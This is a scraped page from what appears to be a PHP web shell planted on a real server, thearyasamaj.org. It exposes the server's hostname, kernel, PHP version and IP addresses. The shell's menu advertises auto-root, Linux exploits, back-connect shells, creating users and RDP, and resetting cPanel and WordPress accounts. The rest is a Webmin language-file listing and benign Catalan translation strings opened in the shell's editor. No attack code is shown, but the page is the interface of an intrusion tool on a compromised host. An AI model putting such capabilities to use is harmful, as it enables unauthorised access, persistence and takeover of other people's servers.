Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
package-updates /
lang /
[ HOME SHELL ]
Name
Size
Permission
Action
af.auto
6.21
KB
-rw-r--r--
ar
5.73
KB
-rw-r--r--
ar.auto
1.85
KB
-rw-r--r--
be.auto
9.27
KB
-rw-r--r--
bg.auto
9.8
KB
-rw-r--r--
ca
6.68
KB
-rw-r--r--
ca.auto
269
B
-rw-r--r--
cs.auto
6.65
KB
-rw-r--r--
da.auto
6.1
KB
-rw-r--r--
de
5.83
KB
-rw-r--r--
de.auto
340
B
-rw-r--r--
el.auto
10.3
KB
-rw-r--r--
en
5.81
KB
-rw-r--r--
es.auto
6.81
KB
-rw-r--r--
eu.auto
6.35
KB
-rw-r--r--
fa.auto
8.59
KB
-rw-r--r--
fi.auto
6.26
KB
-rw-r--r--
fr
4.93
KB
-rw-r--r--
fr.auto
1.85
KB
-rw-r--r--
he.auto
7.17
KB
-rw-r--r--
hr.auto
6.27
KB
-rw-r--r--
hu
4.17
KB
-rw-r--r--
hu.auto
1.8
KB
-rw-r--r--
it
6.81
KB
-rw-r--r--
ja.auto
8.32
KB
-rw-r--r--
ko.auto
6.87
KB
-rw-r--r--
lt.auto
6.3
KB
-rw-r--r--
lv.auto
6.63
KB
-rw-r--r--
ms.auto
6.1
KB
-rw-r--r--
mt.auto
6.72
KB
-rw-r--r--
nl
4.67
KB
-rw-r--r--
nl.auto
1.67
KB
-rw-r--r--
no
6.04
KB
-rw-r--r--
pl
4.71
KB
-rw-r--r--
pl.auto
1.71
KB
-rw-r--r--
pt.auto
6.64
KB
-rw-r--r--
pt_BR.auto
6.64
KB
-rw-r--r--
ro.auto
6.61
KB
-rw-r--r--
ru
6.67
KB
-rw-r--r--
ru.auto
2.71
KB
-rw-r--r--
sk.auto
6.66
KB
-rw-r--r--
sl.auto
6.22
KB
-rw-r--r--
sv.auto
6.14
KB
-rw-r--r--
th.auto
11.67
KB
-rw-r--r--
tr.auto
6.3
KB
-rw-r--r--
uk.auto
9.15
KB
-rw-r--r--
ur.auto
8.79
KB
-rw-r--r--
vi.auto
7.12
KB
-rw-r--r--
zh.auto
5.33
KB
-rw-r--r--
zh_TW.auto
5.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ca
index_title=Actualitzacions de Paquets de Programes index_name=Paquet index_desc=Descripció index_status=Estat index_source=Origen index_bad2=L'actualització a la versió $1 encara no està disponible: $1 index_bad=S'aconsella l'actualització a la versió $1: $2 index_new=Nova versió $1 index_ok=S'està executant la darrera $1 index_update=Actualitza els Paquets Seleccionats index_install=Instal·la els Paquets Seleccionats index_return=a la llista de paquets index_header=Opcions de comprovació periòdica index_sched=Comprova les actualitzacions periòdicament index_sched1=No index_sched0=Sí, cada index_schedh=hora index_schedd=dia index_schedw=setmana index_email=Envia l'informe de les actualitzacions a index_action=Acció quan cal actualitzar index_action0=Només avisa index_action1=Instal·la les actualitzacions de seguretat index_action2=Instal·la totes les actualitzacions index_err=No s'ha pogut obtenir la llista de paquets index_refresh=Refresca els Paquets Disponibles index_noupdate=No existeix cap actualització a partir de la versió $1 index_caninstall=Disponible per a instal·lar index_webmin=Mòdul '$1' de Webmin index_webmintheme=Tema'$1' de Webmin index_mode=Estats a mostrar: index_mode_updates=Només les actualitzacions index_mode_new=Només novetats index_mode_security=Només actualitzacions de seguretat index_allsel=Paquets a mostrar: index_all_0=Només els relacionats amb Virtualmin index_all_1=Tots els paquets index_none_all=No s'ha trobat al sistema cap paquet gestionat per cap sistema d'actualització! index_none_updates=No s'ha trobat cap paquet disponible per a actualitzar. index_none_both=No s'ha trobat cap paquet nou per a instal·lar ni cap paquet disponible per a actualitzar. index_none_new=No s'ha trobat cap paquet nou per a instal·lar. index_count=S'han trobat $1 paquets coincidents... index_manynew=Hi ha $1 paquets disponibles per a instal·lar. Fes servir la caixa de cerca per trobar quins en vols instal·lar. index_search=Busca paquets que coincideixin amb: index_searchok=Busca index_clear=Mostra'ls Tots index_tabpkgs=Actualitzacions de Paquets index_tabscheds=Actualitzacions Planificades index_tabsrepos=Repositoris de Paquets index_scheddesc=Aquest formulari es pot utilitzar per instal·lar automàticament actualitzacions de paquets de forma periòdica. index_reposdesc=Aquesta pàgina et permet de configurar quins repositoris s'utilitzarant per als paquets nous o actualitzats. index_reposname=Nom del repositori index_reposenabled=Activat index_reposurl=URL del Paquet index_reposdisable=Desactiva els Repositoris index_reposenable=Activa els Repositoris index_reposdelete=Suprimeix els Repositoris index_repoheader=Opcions del nou repositori de paquets update_title=Actualització de Paquets update_title2=Instal·lació de Paquets update_pkg=S'està actualitzant $1... update_pkg2=S'està instal·lant ara $1... update_done=S'ha instal·lat el paquet $1 $2. update_ok=S'han instal·lat $1 paquets correctament. update_failed=No s'ha instal·lat cap paquet. Mira els missatges de sobre per saber la causa de l'error. update_efindpkg=No s'ha trobat cap paquet per actualitzar anomenat $1 update_edownload=...no s'ha pogut descarregar $1: $2 update_einstall=La instal·lació ha fallat: $1 update_efound=No s'ha trobat $1 a la llista de paquets disponibles. update_depend=S'està instal·lant la dependència $1 $2... update_wdownload=S'està baixant el mòdul '$1' de Webmin ... update_ewdownload=...ha fallat: $1 update_wdownloaded=...baixada completa update_winstall=S'està instal·lant el mòdul '$1' de Webmin... update_winstalled=...instal·lació completa update_ewinstall=...la instal·lació ha fallat: $1 update_tgzdownload=S'està baixant la darrera versió de $1... update_tgzdownloaded=...s'ha baixat $1 update_tgzuntar=S'està extraient el fitxer d'arxiu... update_ecurdir=...no s'ha pogut obtenir el directori d'instal·lació actual! update_econfigdir=...no s'ha pogut trobar el directori d'instal·lació actual! update_etgzuntar=...l'extracció ha fallat! Mira el missatge d'error de sobre per saber-ne el motiu update_tgzuntardone=...fet update_tgzsetup=S'està executant el script de configuració... update_tgzsetupdone=...actualització completa update_etgzsetup=...l'actualització ha fallat! Mira el missatge d'error de sobre per saber-ne el motiu update_rusure=Segur que vols instal·lar els $1 paquets llistats a sota? Això pot incloure dependències de paquets que hagis seleccionat. update_oldver=Versió actual update_newver=Versió nova update_confirm=Instal·la-ho Ara update_none=Cap update_ops=S'està construint la llista completa de paquets... update_rebootdesc=Un dels paquets instal·lats necessita reeengegar el sistema per a aplicar-se completament. update_reboot=Reengega Ara sched_title=Actualització Periòdica sched_yes=La comprovació periòdica d'actualitzacions està activa. sched_no=La comprovació periòdica d'actualitzacions està inactiva. log_update=S'han instal·lat $1 paquets actualitzats log_sched=S'han activat les actualitzacions periòdiques log_unsched=S'han desactivat les actualitzacions periòdiques log_refresh=S'han refrescat els paquets disponibles log_enable_repos=S'han activat $1 repositoris de paquets log_disable_repos=S'han desactivat $1 repositoris de paquets log_delete_repos=S'han suprimit $1 repositoris de paquets log_enable_repo=S'ha activat el repositori de paquets $1 log_disable_repo=S'ha desactivat el repositori de paquets $1 log_delete_repo=S'ha suprimit el repositori de paquets $1 log_create_repo=S'ha creat el repositori de paquets $1 refresh_title=Refresc de Paquets refresh_clearing=S'estan buidant els caus del paquet... refresh_done=...fet refresh_available=S'estan reobtenint els paquets disponibles... refresh_done3=...s'han trobat $1 possibles actualitzacions view_title=Detalls del Paquet view_header=Informació del paquet actualitzable view_name=Nom del paquet view_desc=Descripció del paquet view_system=Sistema d'actualització view_state=Estat actual view_cversion=Versió instal·lada view_aversion=Versió disponible view_source=Origen de la instal·lació view_changelog=Registre de canvis de la versió disponible view_software=Gestiona el Paquet view_update=Actualitza el Paquet view_install=Instal·la el Paquet system_yum=YUM system_apt=APT system_csw=CSW (Blastwave) system_webmin=Mòdul de Webmin system_usermin=Mòdul d'Usermin system_tgz=tar.gz de Webmin o Usermin repos_err_disable=No s'han pogut desactivar els repositories repos_err_enable=No s'han pogut activar els repositories repos_err_delete=No s'han pogut suprimir els repositories repos_err_create=No s'ha pogut crear el repositori repos_ebutton=No has fet clic a cap botó! repos_enone=No n'has seleccionat cap repos_title=Supressió de Repositoris repos_ok=Suprimeix-los Ara
Close